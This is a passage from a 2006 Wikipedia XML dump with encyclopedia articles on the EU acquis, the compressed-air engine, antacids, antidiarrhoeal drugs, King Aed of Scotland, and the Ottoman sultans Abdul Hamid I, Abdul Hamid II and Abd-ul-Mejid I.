&lt;td rowspan=1 valign=top&gt;4. Free movement of capital&lt;td&gt;4. Free movement of capital&amp;nbsp;

&lt;tr bgcolor=#efefff&gt;
&lt;td rowspan=1 valign=top&gt;5. Company law&lt;td&gt;6. Company law&amp;nbsp;

&lt;tr bgcolor=#efefef&gt;
&lt;td rowspan=2 valign=middle&gt;6. Competition policy&lt;td&gt;8. Competition policy&amp;nbsp;
&lt;tr bgcolor=#efefef&gt;
&lt;td&gt;5. Public procurement&amp;nbsp;

&lt;tr bgcolor=#efefff&gt;
&lt;td rowspan=2 valign=middle&gt;7. Agriculture&lt;td&gt;11. Agriculture and rural development&amp;nbsp;
&lt;tr bgcolor=#efefff&gt;
&lt;td&gt;12. Food safety, veterinary and phytosanitary policy&amp;nbsp;

&lt;tr bgcolor=#efefef&gt;
&lt;td rowspan=1 valign=top&gt;8. Fisheries&lt;td&gt;13. Fisheries&amp;nbsp;

&lt;tr bgcolor=#efefff&gt;
&lt;td rowspan=2 valign=middle&gt;9. Transport policy&lt;td&gt;14. Transport policy&amp;nbsp;
&lt;tr bgcolor=#efefff&gt;
&lt;td&gt;21. Trans-European networks &lt;b&gt;(one half of it)&lt;/b&gt;&amp;nbsp;

&lt;tr bgcolor=#efefef&gt;
&lt;td rowspan=1 valign=top&gt;10. Taxation&lt;td&gt;16. Taxation&amp;nbsp;

&lt;tr bgcolor=#efefff&gt;
&lt;td rowspan=1 valign=top&gt;11. Economic and Monetary Union&lt;td&gt;17. Economic and monetary policy&amp;nbsp;

&lt;tr bgcolor=#efefef&gt;
&lt;td rowspan=1 valign=top&gt;12. Statistics&lt;td&gt;18. Statistics&amp;nbsp;

&lt;tr bgcolor=#efefff&gt;
&lt;td rowspan=1 valign=top&gt;13. Social policy and employment&lt;td&gt;19. Social policy and employment &lt;br&gt;&lt;small&gt;(including anti-discrimination and equal opportunities for women and men)&lt;/small&gt;&amp;nbsp;

&lt;tr bgcolor=#efefef&gt;
&lt;td rowspan=2 valign=middle&gt;14. Energy&lt;td&gt;15. Energy&amp;nbsp;
&lt;tr bgcolor=#efefef&gt;
&lt;td&gt;21. Trans-European networks &lt;b&gt;(one half of it)&lt;/b&gt;&amp;nbsp;

&lt;tr bgcolor=#efefff&gt;
&lt;td rowspan=1 valign=top&gt;15. Industrial policy&lt;td rowspan=2 valign=middle&gt;20. Enterprise and industrial policy&amp;nbsp;
&lt;tr bgcolor=#efefff&gt;
&lt;td&gt;16. Small and medium-sized enterprises&amp;nbsp;

&lt;tr bgcolor=#efefef&gt;
&lt;td rowspan=1 valign=top&gt;17. Science and research&lt;td&gt;25. Science and research&amp;nbsp;

&lt;tr bgcolor=#efefff&gt;
&lt;td rowspan=1 valign=top&gt;18. Education and training&lt;td rowspan=3 valign=middle&gt;26. Education and culture&lt;br&gt;10. Information society and media&amp;nbsp;
&lt;tr bgcolor=#efefff&gt;
&lt;td&gt;19. Telecommunication and information technologies&amp;nbsp;
&lt;tr bgcolor=#efefff&gt;
&lt;td&gt;20. Culture and audio-visual policy&amp;nbsp;

&lt;tr bgcolor=#efefef&gt;
&lt;td rowspan=1 valign=top&gt;21. Regional policy and coordination of structural instruments&lt;td&gt;22. Regional policy and coordination of structural instruments&amp;nbsp;

&lt;tr bgcolor=#efefff&gt;
&lt;td rowspan=1 valign=top&gt;22. Environment&lt;td&gt;27. Environment&amp;nbsp;

&lt;tr bgcolor=#efefef&gt;
&lt;td rowspan=1 valign=top&gt;23. Consumer and health protection&lt;td&gt;28. Consumer and health protection&amp;nbsp;

&lt;tr bgcolor=#efefff&gt;
&lt;td rowspan=2 valign=middle&gt;24. Cooperation in the field of Justice and Home Affairs&lt;td&gt;23. Judiciary and fundamental rights&amp;nbsp;
&lt;tr bgcolor=#efefff&gt;
&lt;td&gt;24. Justice, freedom and security&amp;nbsp;

&lt;tr bgcolor=#efefef&gt;
&lt;td rowspan=1 valign=top&gt;25. Customs union&lt;td&gt;29. Customs union&amp;nbsp;

&lt;tr bgcolor=#efefff&gt;
&lt;td rowspan=1 valign=top&gt;26. External relations&lt;td&gt;30. External relations&amp;nbsp;

&lt;tr bgcolor=#efefef&gt;
&lt;td rowspan=1 valign=top&gt;27. Common Foreign and Security Policy (CFSP)&lt;td&gt;31. Foreign, security and defence policy&amp;nbsp;

&lt;tr bgcolor=#efefff&gt;
&lt;td rowspan=1 valign=top&gt;28. Financial control&lt;td&gt;32. Financial control&amp;nbsp;

&lt;tr bgcolor=#efefef&gt;
&lt;td rowspan=1 valign=top&gt;29. Financial and budgetary provisions&lt;td&gt;33. Financial and budgetary provisions&amp;nbsp;

&lt;tr bgcolor=#efefff&gt;
&lt;td rowspan=1 valign=top&gt;30. Institutions&lt;td&gt;34. Institutions&amp;nbsp;

&lt;tr bgcolor=#efefef&gt;
&lt;td rowspan=1 valign=top&gt;31. Others&lt;td&gt;35. Other issues&amp;nbsp;

&lt;/table&gt;

Such negotiations usually involved agreeing transitional periods before new member states needed to implement the laws of the European Union fully and before they and their citizens acquired full rights under the ''acquis''.

==Other uses==
The term ''acquis'' has been borrowed by the [[World Trade Organization]] Appellate Body, in the case ''Japan - Taxes on Alcoholic Beverages'', to refer to the accumulation of [[GATT]] and WTO law (&quot;''acquis gattien''&quot;), though this usage is not well established.

It has been used to describe the achievements of the [[Council of Europe]] (a body unconnected with the European Union):
:The Council of Europe&amp;rsquo;s acquis in standard setting activities in the fields of [[democracy]], the [[rule of law]] and fundamental [[human rights]] and freedoms should be considered as milestones towards the great European political project, and the [[European Court of Human Rights]] should be recognised as the pre-eminent judicial pillar of any future architecture.
''(Section 12, Parliamentary Assembly of the Council of Europe Resolution 1290)''

It has also been applied to the body of &quot;principles, norms and commitments&quot; of the [[Organization for Security and Co-operation in Europe]] (OSCE):

:Another question under debate has been how the Partners and others could implement the OSCE acquis, in other words its principles, norms and commitments on a voluntary basis.

''Intervention by Ambassador Aleksi Härkönen, Permanent Representative of Finland to the OSCE, Annual Security Review Conference'' [http://www.osce.org/documents/sg/2004/06/3241_en.pdf]

The [[OECD]] introduced the concept of the OECD Acquis in its &quot;[http://www.oecd.org/dataoecd/63/6/32036418.pdf Strategy for enlargement and outreach]&quot;, May 2004.

==External links==
*[http://europa.eu.int/eur-lex/ EUR-Lex], European Union Law

[[Category:European Union law]]
[[Category:French words]]

[[cs:Acquis communautaire]]
[[de:Acquis communautaire]]
[[it:Acquis comunitario]]
[[nl:Gemeenschapsrecht]]
[[pl:Acquis communautaire]]</text>
    </revision>
  </page>
  <page>
    <title>Air engine</title>
    <id>2688</id>
    <revision>
      <id>40854701</id>
      <timestamp>2006-02-23T13:00:18Z</timestamp>
      <contributor>
        <username>Rebelguys2</username>
        <id>406178</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/81.245.162.149|81.245.162.149]] ([[User_talk:81.245.162.149|talk]]) to last version by KVDP</comment>
      <text xml:space="preserve">The '''air engine''' is an [[emission]]-free [[piston]] [[engine]] using [[Pneumatics|compressed air]] as fuel that was invented by Guy Nègre, a French engineer. 

It uses the expansion of compressed air to drive the pistons in a modified piston engine. Efficiency of operation is gained through the use of environmental heat at normal temperature to warm the otherwise cold expanded air from the storage tank. This non-adiabatic expansion has the potential to greatly increase the efficiency of the machine. The only exhaust gas is cold air (&amp;minus;15 °C), which is also used for [[air conditioning]] in a car. The source for air is a pressurized [[Graphite-reinforced_plastic|carbon-fiber]] tank holding air at 3,000 lbf/in&amp;sup2; (20 [[MPa]]). Air is delivered to the engine via a rather conventional [[injection system]]. Unique crank design within the engine increases the time during which the air charge is warmed from ambient sources and a two  stage process allows improved heat transfer rates.

This engine is used to power an [[urban car]] with room for five passengers and a projected [[range]] of about 100 to 200 miles (160 to 320 km), depending on traffic conditions. The main advantages are: no roadside [[emission]]s, low cost technology, engine uses food oil for lubrication (just about 1 [[litre|liter]], changes only every 30,000 miles (50,000 km)) and integrated air conditioning. Range could be quickly tripled, since there are already carbon fiber tanks which have passed safety standards holding gas at 10,000 lbf/in&amp;sup2; (70 MPa).

The tanks may be refilled in about three minutes at a service station, or in a few hours at home plugging the car into the electric [[grid]] via an on-board compressor. The cost of refilling is projected to be about US$3.

However, the air engine and refueling system, considered as a system, are not pollution free except in special cases, as the electric power generation would have its own environmental costs. One of the special cases is where an operator of such a vehicle installs photovolatic or wind drive electric power generation, quite cost effective if the operator can use time-of-use net metering, where power produced is credited at a higher rate than its use to recharge a vehicle using off-peak rates.

Also, performance and range features noted above are based on theoretical projections based upon experiment, prototype performance, engineering analysis and proposed developments. So far (early July 2004), no information has been forthcoming from the developers or other interested parties as to an actual vehicle that can perform as stated. If successful, the project will definitely advance the state of the art in zero pollution developments, principally because it does not have the limited battery life and consequent periodic battery replacement costs of an electric vehicle. Furthermore, the ability to quickly replenish the energy store in a time comparable to filling the tank of a liquid fuel vechicle will be far superior to anything that a battery electric vehicle can deliver and will enable an operator to make long trips within the availability of fast charging stations.

==See also==
* [[Air car]]
* [[City car]]
* [[Electric vehicle]]
* [[Zero-emissions vehicle]]

== External links ==
*[http://www.mdi.lu/ Main MDI site]
*[http://www.theaircar.com English MDI site]
*[http://www.aircaraccess.com/index.htm Pneumatic Options (general resource with history, photos, comprehensive external links)]
*[http://auto.howstuffworks.com/air-car.htm/printable How Stuff Works Air Car article]

[[Category:Engines]]


[[de:Druckluftauto]]
[[fr:Moteur à air comprimé]]
[[it:motore ad aria compressa]]</text>
    </revision>
  </page>
  <page>
    <title>Antacid</title>
    <id>2689</id>
    <revision>
      <id>41300220</id>
      <timestamp>2006-02-26T11:02:59Z</timestamp>
      <contributor>
        <ip>82.9.37.215</ip>
      </contributor>
      <text xml:space="preserve">{{limitedgeographicscope}}

An '''antacid''' is any substance, generally a base, that counteracts [[gastric acid|stomach acidity]]. It performs a neutralisation reaction. It is taken by mouth to relieve [[heartburn]], sour stomach, or [[acid indigestion]]. Most antacids [[buffer solution|buffer]] [[gastric acid]], raising the [[pH]] to reduce acid damage. If antacids are ineffective, medication ([[H2-receptor antagonist]]s or [[proton pump inhibitor]]s) may relieve the symptoms. Poor response to medication may be a reason to suspect an underlying medical condition.

Examples of antacids are:
* [[Aluminium hydroxide]] (Amphojel&lt;sup&gt;®&lt;/sup&gt;, AlternaGEL&lt;sup&gt;®&lt;/sup&gt;) 
* [[Magnesium hydroxide]] (Phillips&amp;#8217;&lt;sup&gt;®&lt;/sup&gt; [[Milk of Magnesia]]) 
* Aluminium hydroxide ''and'' magnesium hydroxide (Maalox&lt;sup&gt;®&lt;/sup&gt;, Mylanta&lt;sup&gt;®&lt;/sup&gt;) 
* [[Aluminium carbonate]] gel (Basajel&lt;sup&gt;®&lt;/sup&gt;) 
* [[Calcium carbonate]] (Tums&lt;sup&gt;®&lt;/sup&gt;, Titralac&lt;sup&gt;®&lt;/sup&gt;, [[Calcium]] Rich Rolaids&lt;sup&gt;®&lt;/sup&gt;, Rennie&lt;sup&gt;®&lt;/sup&gt;) 
* [[Sodium bicarbonate]] (Bicarbonate of soda, Alka-Seltzer&lt;sup&gt;®&lt;/sup&gt;)
* [[Hydrotalcite]] (Mg&lt;sub&gt;6&lt;/sub&gt;Al&lt;sub&gt;2&lt;/sub&gt;(CO&lt;sub&gt;3&lt;/sub&gt;)(OH)&lt;sub&gt;16&lt;/sub&gt; · 4(H&lt;sub&gt;2&lt;/sub&gt;O); Talcid&amp;reg;)

{{pharma-stub}}

[[Category:Gastrointestinal system drugs]]

[[de:Antazidum]]
[[sk:Antacidum]]
[[th:ยาลดกรด]]</text>
    </revision>
  </page>
  <page>
    <title>Antidiarrhoeal</title>
    <id>2690</id>
    <revision>
      <id>33317420</id>
      <timestamp>2005-12-31T00:30:35Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <text xml:space="preserve">An '''antidiarrhoeal drug''' is any [[medication]] which provides symptomatic relief for [[Diarrhea|diarrhoea]].

[[Electrolyte]] solutions are used to replace lost fluids and [[salt]]s in acute cases. Bulking agents like [[methylcellulose]], [[guar gum]] or plant [[dietary fiber|fibre]] ([[bran]], [[sterculia]], [[ispaghul]], etc.) are used for diarrhoea in functional bowel disease and to control [[ileostomy]] output. Absorbents absorb toxic substances that cause infective diarrhoea, methylcellulose is an absorbent as well. [[Opiate]]s slow intestinal transit, but [[Loperamide]] is most commonly used, since it doesn't have the usual narcotic side-effects.

[[Category:Antidiarrhoeals|*]]

[[fr:Antidiarrhéique]]
[[th:ยาแก้ท้องร่วง]]</text>
    </revision>
  </page>
  <page>
    <title>Aed of Scotland</title>
    <id>2691</id>
    <revision>
      <id>38306108</id>
      <timestamp>2006-02-05T12:59:42Z</timestamp>
      <contributor>
        <username>Mais oui!</username>
        <id>394460</id>
      </contributor>
      <comment>rv supercats</comment>
      <text xml:space="preserve">'''Aed'''  (''c.'' [[840]]&amp;ndash;[[878]]), sometimes spelt ''Aedh'' or ''Aodh'', became [[King of Scots]] in [[877]] when he succeeded his brother [[Constantine I of Scotland]].  

He was killed shortly after taking the throne by [[Giric of Scotland]], also known as Gregory the Great, who had conspired with Aedh's nephew, [[Eochaid of Scotland]].

Not much is known of Aedh, or even if he was actually the one named by Constantine to hold the throne.  Both Giric and Eochaid ruled jointly following Aedh's death.  

Aedh did marry at some point in his life, but the details, including the date and place of the marriage, and the name of his wife are not known. One son, [[Constantine II of Scotland]], ruled later (900&amp;ndash;942/43), while another son, [[Donald mac Aed]], became [[King of Strathclyde]] in [[908]].

Aedh died violently in [[878]] at [[Strathallan]], [[Perth and Kinross]]. He may have been buried at [[Maiden Stone]] in [[Aberdeenshire (unitary)|Aberdeenshire]]. He was succeeded under the [[Scotland|Scottish]] [[tanistry]] system by his nephew, Eochaid.

== See also ==
*[[Kingdom of Scotland]]
*[[Alba]]

{{Scotland-bio-stub}}
{{euro-royal-stub}}

{{start box}}
{{succession box |
  title=[[King of Scots]] |
  before=[[Constantine I of Scotland|Constantine I]] |
  after=[[Eochaid of Scotland|Eochaid]]''' and '''[[Giric of Scotland|Giric]] |
  years=877&amp;ndash;878
}}
{{end box}}

[[Category:840s births]]
[[Category:878 deaths]]
[[Category:Scottish monarchs]]
[[Category:Scottish murder victims]]
[[Category:Murdered kings]]
[[Category:Medieval_Gaels]]

[[de:Aedh (Schottland)]]
[[fr:Aed Ier d'Écosse]]
[[no:Aedh av Skottland]]
[[pl:Aedh]]
[[sv:Aed av Skottland]]</text>
    </revision>
  </page>
  <page>
    <title>Abdul Hamid I</title>
    <id>2692</id>
    <revision>
      <id>39934632</id>
      <timestamp>2006-02-16T22:52:50Z</timestamp>
      <contributor>
        <username>TimBentley</username>
        <id>531594</id>
      </contributor>
      <minor />
      <comment>Corrected link to disambiguation page. ([[Wikipedia:Disambiguation_pages_with_links|you can help!]])</comment>
      <text xml:space="preserve">{{cleanup-date|November 2005}}
[[Image:Abdulhamid I.jpg|thumb|180px|Sultan Abdul Hamid I]]

'''Abd-ul-Hamid I''' ([[Arabic language|Arabic]]: عبد الحميد الأول) (alternate spellings include '''Abdulhamid''', '''Abdul Hamid''' or '''Abdul-Hamid''') ([[March 20]], [[1725]] &amp;ndash; [[April 7]], [[1789]]), was the 27th [[sultan]] of the [[Ottoman Empire]]. He was the son of sultan [[Ahmed III]] and succeeded his brother [[Mustafa III]] on [[January 21]], [[1774]].

Abdul Hamid was imprisoned for the first forty-three years of his life by his older brother Mustafa as was custom and received his early education from his mother Rabia Semi Sultana, where he studied history and learned calligraphy.

His imprisonment had made him aloof in regards to state affairs as malleable to the designs of his advisors. Yet he was also very religious and a [[pacifism|pacifist]] by nature. At his accession the financial straits of the treasury were such that the usual donative could not be given to the [[Janissary|janissaries]].  War was, however, forced on him, and less than a year after his accession the complete defeat of the [[Ottoman Empire|Turks]] at [[Battle of Kozluja]] led to the [[treaty of Kuchuk-Kainarji]] on [[July 21]] [[1774]].

[[Image:Jean-Jecques-Frances Le Barbier c1780 scanned Constantinopole (1996)-Procession of the sultan to the Sultanahmed mosque.png|thumb|180px|left|Coronation]]

In spite of his failures, Sultan Abdul Hamid I was regarded as the most gracious sultan of the Ottomans. He administrated the [[fire brigade]] during the fire in 1782. In Istanbul, he won the admiration of his people as he was so religious that he was called a &quot;Veli&quot; (saint). He also traced a reform policy, followed the governmental administrations closely and worked with statesmen. When he came to the throne, the army asked for gratuity, and the Sultan claimed that; &quot;There is no longer, gratuities in our treasury, all of our soldier sons should learn&quot;. He also began the restoration of the military system. He is credited with better education standards. He tried to renovate the yeniceri corps and the naval forces. He established a new artillery troop. He made a census in the yeniceri corps.

Slight successes against rebellious outbreaks in [[Syria]] and the [[Morea]] could not compensate for the loss of the [[Crimea]], which Russia greatly coveted. War was evident once more in [[1787]], when war was again declared against Russia, joined in the following year by [[Austria]]. The Swedes also joined the conflict on the side of the Ottomans. While the Ottomans held their own in the conflict, they ultimately lost, with [[Ochakov]] falling in [[1788]] to the Russians.

The sultan died four months later at the age of sixty-four. He was buried in Bahcekapi, a tomb he had built for himself. 

His wives were: Ayse Sine-perver Mother Sultana, Naksh-i Dil Mother Sultana, Hatice Ruh-shah, Huma Shah, Ayse, Binnaz, Dilpezir, Mehtabe, Misl-i Na-yab, Mu'teber, Nevres, Mihriban

His sons were: [[Mustafa IV]], [[Mahmud II]], Murad, Nusret, Mehmed, Ahmed, Suleyman 

His daughters were: Esma, Emine, Rabia, Saliha, Alimsah, Durusehvar, Fatma, Meliksah, Hibetullah Zekiye

{{Wikisource1911Enc|Abd-ul-Hamid I}}

{{start box}}
{{succession box|title=[[Ottoman Sultan]]|before=[[Mustafa III]]|after=[[Selim III]]|years=1774&amp;ndash;1789}}
{{end box}}

[[Category:1725 births]]
[[Category:1789 deaths]]
[[Category:Sultans of the Ottoman Empire]]

[[ar:عبدالحميد الأول]]
[[ba:Абдул-Гамид I]]
[[de:Abdülhamid I.]]
[[hr:Abdul Hamid I.]]
[[hu:I. Abdul-Hamid]]
[[nl:Abdülhamit I]]
[[ja:アブデュルハミト1世]]
[[pl:Abdulhamid I]]
[[ru:Абдул-Гамид I]]
[[sr:Абдул Хамид I]]
[[sv:Abd ül-Hamid I]]
[[tr:I. Abdülhamit]]
[[uk:Абдул-Гамід І]]
[[zh:阿卜杜勒·哈米德一世]]</text>
    </revision>
  </page>
  <page>
    <title>Abdul Hamid II</title>
    <id>2693</id>
    <revision>
      <id>41612228</id>
      <timestamp>2006-02-28T14:36:59Z</timestamp>
      <contributor>
        <username>Ugur Basak Bot</username>
        <id>735354</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ca</comment>
      <text xml:space="preserve">[[Image:Sultan abdul-hamid II.jpg|thumb|Sultan Abdul Hamid II]]

'''Abd-ul-Hamid II''' also '''Abdulhamid''', '''Abdülhamit''',  '''Abdul Hamid''', '''Abd al-Hamid II''', or '''Abdul-Hamid''' ([[Arabic language|Arabic]]: عبد الحميد الثاني) ([[September 21]], [[1842]] &amp;ndash; [[February 10]], [[1918]]) was the last real Sultan of the [[Ottoman Empire]]. He ruled from [[August 31]], [[1876]] till he was deposed on [[April 27]], [[1909]]. 

==Early years==
He was the son of Sultan [[Abd-ul-Mejid]], and succeeded to the [[throne]] on the deposition of his brother [[Murad V]] on [[August 31]] [[1876]]. He himself was deposed in favor of his brother, [[Mehmed V]] in 1909.

Unlike many other Ottoman rulers, Abdul Hamid II, actually traveled. Nine years before he took the throne he accompanied his uncle [[Sultan]] [[Abd-ul-Aziz]] on his visit to [[England]] and [[France]] in 1867. At his accession some commentators were impressed by the fact that he rode practically unattended to the [[Eyup Sultan Mosque]] where he was given the sword of [[Osman I|Osman]]. He was supposed to have liberal ideas, and some conservatives were inclined to regard him with suspicion as a dangerous reformer. In the event, like many other would-be reformers of the Ottoman Empire, change proved to be nearly impossible. [[Default (finance)|Default]] in the public funds, an empty treasury, the [[Herzegovinian rebellion|1875 insurrection in Bosnia and Herzegovina]], the war with [[Serbia]] and [[Montenegro]] and the feeling aroused throughout Europe by the cruelty used in stamping out the [[Bulgarian]] rebellion all proved good reasons not to undertake any significant changes.

The international conference which met at [[Istanbul]] towards the end of 1876 was surprised by the promulgation of a constitution, but the demands of European powers at the conference were rejected. [[Midhat Pasha]], the author of the constitution, was exiled and soon afterwards the constitution was suspended. Early in 1877 the Ottoman Empire went to war with the Russian Empire.
{{main|Russo-Turkish_War%2C_1877-78}} &lt;br /&gt;
The war was a disaster for the Ottomans and the government in Istanbul had to sign a hard treaty (see the [[Treaty of San Stefano]]). However, the terms of the treaty were changed - in favor of the Ottoman government - at [[Berlin]], thanks in the main to British diplomacy.

==Thirty years of failed reform==
The Ottoman government of Sultan Hamid now viewed the united Germany as a possible friend of the empire. German officers (like [[Colmar_Freiherr_von_der_Goltz|Baron von der Goltz]]) were employed to oversee the reorganization of the Ottoman army. German government officials were brought in to reorganize the Ottoman government's finances. Sultan Hamid tried to take more of the reins of power into his own hands, for he distrusted his ministers. 

There were many set-backs. 
* Financial embarrassments forced him to consent to a foreign control over the national debt. In a decree issued in December 1881, many of the revenues of the empire were handed over to the Public Debt Administration for the benefit of (mostly foreign) bondholders. 
* There was also trouble in [[Egypt]], where a discredited ''[[khedive]]'' had to be deposed. Sultan Hamid mis-handled relations with [[Ahmed Urabi|Arabi]] - the end result of this was England gained near total control over Egypt.
* There were problems on the [[Greece|Greek]] frontier and in [[Montenegro]], where the European powers were determined that the decisions of the [[Berlin Congress]] should be carried into effect. 
* The union in 1885 of [[Bulgaria]] with Eastern [[Rumelia]] was another blow. The creation of an independent and powerful [[Bulgaria]] was viewed as a serious threat to the Ottoman Empire. For many years Sultan Hamid had deal with Bulgaria in a way that did not antagonize either Russian or German wishes.
&lt;br /&gt;
Germany's friendship was not disinterested, and had to be fostered with railway and loan concessions. In 1899 a significant German desire, the [[Baghdad Railway]], was given to them.

Over the years Sultan Hamid succeeded in reducing his ministers to the position of secretaries, and he concentrated much of the administration of the Empire into his own hands at [[Yildiz]]. But internal dissension was not reduced. [[Crete]] was constantly in turmoil. The Greeks living within the Ottoman Empire's borders were dissatisfied, as were the Armenians.

Starting around 1890 the [[Armenians]] began clamoring to obtain the reforms promised them at Berlin. Unrest occurred in 1892 and 1893 at [[Marsovan]] and [[Tokat]]. In 1894 a more serious rebellion in the mountainous region of Sassun was ruthlessly stamped out. The European powers demanded protection be given to the Christian Armenians, the eventual grant of which in the autumn of 1895 was the signal, not for actual reform, but for for a series of massacres of Armenians.
{{main|Hamidian_massacres}} &lt;br /&gt;
These massacres extended over many months and throughout [[Asia Minor]], as well as in Istanbul itself. The reforms were nothing more than ink on a page. In a real sense, these massacres were the forerunner to the [[Armenian Genocide]].

[[Crete]] was granted ''extended privileges'', but these did not satisfy the population, which sought unification with Greece. In early in 1897 a Greek expedition sailed to Crete to overthrown Ottoman rule of the island. War followed, in which the [[Ottoman Empire]] was successful (see the [[Greco-Turkish_War_%281897%29]]). But then a few months later [[Crete]] was taken over ''en depot'' by England, France, and Russia. [[Prince George of Greece]] was appointed the ruler and so Crete was lost to the Ottoman Empire. 

Abd-ul-Hamid always resisted the pressure of the European powers to the last moment, in order to seem to yield only to overwhelming force, while posing as the champion of [[Islam]] against aggressive [[Christendom]]. Panislamic propaganda was encouraged; the privileges of foreigners in the Ottoman Empire &amp;mdash; often an obstacle to government &amp;mdash; were curtailed. A new railway to the holy city of [[Medina]] was completed - making the [[Hajj]] somewhat easier - though there was still a 160 mile camel ride to get to [[Mecca]]. Emissaries were sent to distant countries preaching Islam and the ''[[caliph]]'s'' supremacy. During his rule, Sultan Hamid refused [[Theodor Herzl]]'s offers to pay down a substantial portion of the Ottoman debt in exchange for a charter allowing the [[Zionists]] to colonize [[Palestine (region) | Palestine]].

Sultan Hamid's appeals to Muslim sentiment were powerless against widespread disaffection within his Empire due to perennial misgovernment. In [[Mesopotamia]] and [[Yemen]] disturbance was endemic; nearer home, a semblance of loyalty was maintained in the army and among the [[Muslim]] population only by a system of delation and espionage, and by wholesale arrests. After his rule began the Sultan became obsessed by a terror of assassination; he withdrew himself into fortified seclusion in the palace of Yildiz and never left.

==Last year in power==
The national humiliation of the situation in [[Macedonia (region)|Macedonia]], together with the resentment in the army against the [[palace]] spies and informers, at last brought matters to a crisis. In the summer of 1908 the [[Young Turk]] revolution broke out and Abd-ul-Hamid, on learning of the threat of the [[Salonica]] troops to march on [[Istanbul]] ([[July 23]]), at once capitulated. On [[July 24|the 24th]] an ''irade'' announced the restoration of the suspended constitution of 1876; the next day, further ''irades'' abolished [[espionage]] and [[censorship]], and ordered the release of [[political prisoner]]s. On [[December 17]], Sultan Hamid opened the Turkish parliament with a speech from the throne in which he said that the first [[parliament]] had been &quot;temporarily dissolved until the education of the people had been brought to a sufficiently high level by the extension of instruction throughout the empire.&quot; This was, of course, an utter lie as no significant educational reforms had taken place over the last 30 years.

The new attitude of the Sultan did not save him from the suspicion of intriguing with the powerful reactionary elements in the state, a suspicion confirmed by his attitude towards the counter-revolution of [[April 13]], [[1909]] known as ''[[31 Mart Olayı]]'', when an insurrection of the soldiers backed by a conservative public upheaval in the capital overthrew the cabinet. The government, restored by soliders from Salonica, decided on Abd-ul-Hamid's deposition, and on [[April 27]] his brother Reshid Effendi was proclaimed Sultan as [[Mehmed V]]. The ex-sultan was conveyed into dignified captivity at [[Salonica]]. Back again in [[İstanbul]] by 1912, he spent his last days studying, carpentering and writing his memoirs in custody at the palace of [[Beylerbeyi]], where he died on February 10, 1918, just a few months before his brother.

==Afterward==
Sultan Hamid was the last real Sultan of the Ottoman Empire but he presided over 33 years of decline. The Ottoman Empire became known as the sick man of Europe. It would have been defeated and broken up if the European powers had choosen to do so. While its European neighbors were making railroads, automobiles, electric lights and even airplanes, the Ottoman empire was unable to develop any industry at all. Every advanced technology they used had to be purchased from the foreigners to the north. The people of the Ottoman empire were mired in poverty and ignorance, their lives essentially unchanged during his years of rule.

Sultan Hamid commissioned thousands of photographs of his empire. Fearful of assassination he did not travel and so photographs provided visual evidence of what was taking place in his realm. The [[Sultan]] presented large gift albums of photographs to various governments and heads of state, including the [[United States]] (William Allen, &quot;The Abdul Hamid II Collection,&quot; History of Photography 8 (1984): 119-45.) and Great Britain (M. I. Waley and  British Library., Sultan  Abdulhamid II Early Turkish Photographs in 51 Albums from the British Library on Microfiche (Zug, Switzerland: IDC, 1987). The American collection is housed in the [[Library of Congress]] and has been digitized [http://lcweb2.loc.gov/pp/ahiiquery.html]

==References==

{{Wikisource1911Enc|Abd-ul-Hamid II}}
* {{1911}}

{{start box}}
{{succession box | before = [[Murad V]]| title = [[Ottoman dynasty|Ottoman Sultan]]|years=[[August 31]], [[1876]] &amp;ndash; [[April 27]], [[1909]]| after = [[Mehmed V]]}}
{{end box}}

[[Category:1842 births]]
[[Category:1918 deaths]]
[[Category:Sultans of the Ottoman Empire]]

[[ar:عبدالحميد الثاني]]
[[bg:Абдул Хамид II]]
[[ca:Abdul Hamid II]]
[[de:Abdülhamid II.]]
[[eo:Abd-ul-Hamid la 2-a]]
[[fr:Abdülhamid II]]
[[hr:Abdul Hamid II.]]
[[id:Abd-ul-Hamid II]]
[[he:עבדול חמיד השני]]
[[hu:II. Abdul-Hamid]]
[[nl:Abdülhamit II]]
[[ja:アブデュルハミト2世]]
[[pl:Abd-ul-Hamid II]]
[[ro:Abdul-Hamid al II-lea]]
[[ru:Абдул-Гамид II]]
[[sv:Abd ül-Hamid II]]
[[tr:II. Abdülhamit]]
[[zh:阿卜杜勒·哈米德二世]]</text>
    </revision>
  </page>
  <page>
    <title>Abd-ul-Mejid I</title>
    <id>2694</id>
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      <id>41825662</id>
      <timestamp>2006-03-02T00:09:33Z</timestamp>
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      <minor />
      <comment>robot  Modifying: ar</comment>
      <text xml:space="preserve">[[Image:Sultan abdul mejid.jpg|thumbnail|right|250px|Sultan Abdul Mejid I]]

'''Abdül Mecid''' (also with various alternate spellings, including '''Abd-ul-Mejid,''''''Abd ül-Mecid''' and '''Abdülmecit'''; in [[Arabic language|Arabic]] عبد المجيد الأول ) ([[April 23]], [[1823]] &amp;ndash; [[June 25]], [[1861]]) was the [[sultan]] of the [[Ottoman Empire]] and succeeded his father [[Mahmud II]] on [[July 2]] [[1839]]. His reign was notable for being enervated by internal [[nationalism]] and the incursions of European powers. 

When Abd-ul-Mejid succeeded to the throne, the affairs of the [[Ottoman Empire]] were in an extremely critical state. At the very time his father died, the news was on its way to [[Istanbul]] that the empire's army had been signally defeated at [[Nizip]] by that of the rebel [[Egypt]]ian [[viceroy]], [[Muhammad Ali of Egypt|Mehemet Ali]]. The empire's fleet was at the same time on its way to [[Alexandria]], where it was handed over to the same enemy by its commander [[Ahmed Pasha]], on the pretext that the young sultan's advisers were sold to [[Russia]]. However, through the intervention of the European powers, Mehemet Ali was obliged to come to terms, and the Ottoman Empire was saved.  

[[Image:Paolo Verona c1840 - scanned Constantinopole (1996)-Abdulmecid I going to mosque.png|thumbnail|left|250px|Abdul Mejid going to mosque]]
In compliance with his father's express instructions, Abd-ul-Mejid immediately carried out the reforms to which Mahmud had devoted himself. In November [[1839]] an edict known as the ''[[Hatt-i-sherif of Gulhane]]'' was proclaimed, consolidating and enforcing these reforms. The edict was supplemented at the close of the [[Crimean War]] by a similar statute issued in February [[1856]]. By these enactments it was provided that all classes of the sultan's subjects should have security for their lives and property; that taxes should be fairly imposed and justice impartially administered; and that all should have full religious liberty and equal civil rights. The scheme met with keen opposition from the [[Muslim]] governing classes and the ''[[ulema]],'' or religious authorities, and was but partially put in force, especially in the remoter parts of the empire; and more than one conspiracy was formed against the sultan's life on account of it.  

The more important measures of reform promoted by Abd-ul-Mejid were:

* the national anthem of the Ottoman Empire was named after him
* the reorganization of the army ([[1843]]&amp;ndash;[[1844]])
* the institution of a council of public instruction ([[1846]])
